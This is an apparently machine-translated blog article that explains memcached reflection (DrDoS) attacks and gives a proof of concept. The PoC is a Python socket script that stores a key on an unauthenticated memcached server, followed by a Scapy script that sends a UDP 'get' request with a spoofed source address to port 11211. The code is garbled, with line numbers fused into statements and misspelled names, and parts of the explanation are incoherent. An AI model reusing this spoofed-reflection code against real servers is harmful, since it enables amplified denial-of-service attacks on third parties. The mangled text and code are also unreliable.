Analysis on DrDoS Attack of memcached reflection type

Source: Internet
Author: User
Tags memcached

First, memcached reflex attack principle

1. Reflection DrDoS Attack:

DrDoS attack, DOS is a type of attack, which means that the service is not available by sending or triggering a large amount of resource consumption, which is called a denial of service attack in Chinese. DrDoS is a reflective denial of service attack, the principle of which is through the use of your program vulnerability, sending malformed messages induce you to reply to large data volume of the message, thereby achieving consumption of resources, denial of service purposes.

2, why memcached can induce DrDoS:

Because memcached is a cache server, many Web sites are used to store cached data to prevent the Web server from assuming more performance losses. However, in such cases, if a request is sent, the response message of the large data volume can be evoked DrDoS, the attack means is to repeat the source of the transmission of the request message.

3, the above also has two prerequisites:

(1) memcached supports TCP and UDP, where UDP is not required for state connection, and handshake.

(2) memcached unauthorized access is present.

Second, the Memcached DrDoS POC

1, Attack method,

(1) Access to an unauthorized Memcached,set setting key value that can be controlled

1 0 0 Ten 2 ABC- Key name 30 , flag40 - exptime expiry time , 0 is the data that will never expire 5 , return 10Byte, of course, can return more

Python code is as follows

1 #-*-coding:utf-8-*-2 3 ImportSocket4 5Target_host ="192.168.1.1"6Target_port = 112117Client =Sokcet.socket (Socket.af_inet,socket. STREAM)8Client.settimeout (10)9 Client.connect ((target_host,target_port))Ten  OneClient.send ("set ABCD 0 0 10\r\nabcd\r\n\r\n\r\n\r\n\r\n") Adata = CLIENT.RECV (1024) - PrintData

(2) Then get this ABC can

1 #-*-coding:utf-8-*-2 3  fromScapy.allImport*4 5data ="\x00\x00\x00\x00\x00\x01\x00\x00get abcd\r\n"6PKT = Scapy.all.IP (dst="192.168.1.1", src="192.168.1.2")/Scapy.all.UDP (sport=80,dport=11211)/Data7Send (PKT, inter=1,count=1)

About memcached Reflection type DrDoS attack analysis

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.